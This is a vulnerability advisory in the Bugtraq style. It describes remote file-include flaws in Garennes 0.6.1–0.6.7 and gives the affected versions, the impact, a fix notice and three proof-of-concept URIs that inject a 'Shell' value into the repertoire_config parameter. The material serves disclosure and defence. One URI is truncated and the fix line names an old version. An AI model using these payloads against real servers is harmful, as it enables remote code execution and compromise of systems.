BID:23479

Garennes Repertoire_Config Multiple Remote File Include Vulnerabilities

Info

Garennes Repertoire_Config Multiple Remote File Include Vulnerabilities

Bugtraq ID:	23479
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 13 2007 12:00AM
Updated:	Apr 13 2007 10:31PM
Credit:	GolD_M is credited with the discovery of these vulnerabilities.
Vulnerable:	GForge Addulact Garennes EasyPHP 0.6.7 GForge Addulact Garennes EasyPHP 0.6.6 GForge Addulact Garennes EasyPHP 0.6.5 GForge Addulact Garennes EasyPHP 0.6.4 GForge Addulact Garennes EasyPHP 0.6.3 GForge Addulact Garennes EasyPHP 0.6.2 GForge Addulact Garennes EasyPHP 0.6.1 GForge Addulact Garennes 0.6.7 GForge Addulact Garennes 0.6.6 GForge Addulact Garennes 0.6.5 GForge Addulact Garennes 0.6.4 GForge Addulact Garennes 0.6.3 GForge Addulact Garennes 0.6.2 GForge Addulact Garennes 0.6.1

Not Vulnerable:	GForge Addulact Garennes EasyPHP 0.6.8 GForge Addulact Garennes 0.6.8

Discussion

Garennes Repertoire_Config Multiple Remote File Include Vulnerabilities

Garennes is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect versions prior to 0.6.8.

Exploit / POC

Garennes Repertoire_Config Multiple Remote File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/cpe/index.php?repertoire_config=Shell
http://www.example.com/direction/index.php?repertoire_config=Shell
http://www.example.com/professeurs/index.php?repertoire_config=Shel

Solution / Fix

Garennes Repertoire_Config Multiple Remote File Include Vulnerabilities

Solution:
The vendor has released updates to address these issues.

GForge Addulact Garennes EasyPHP 0.6.1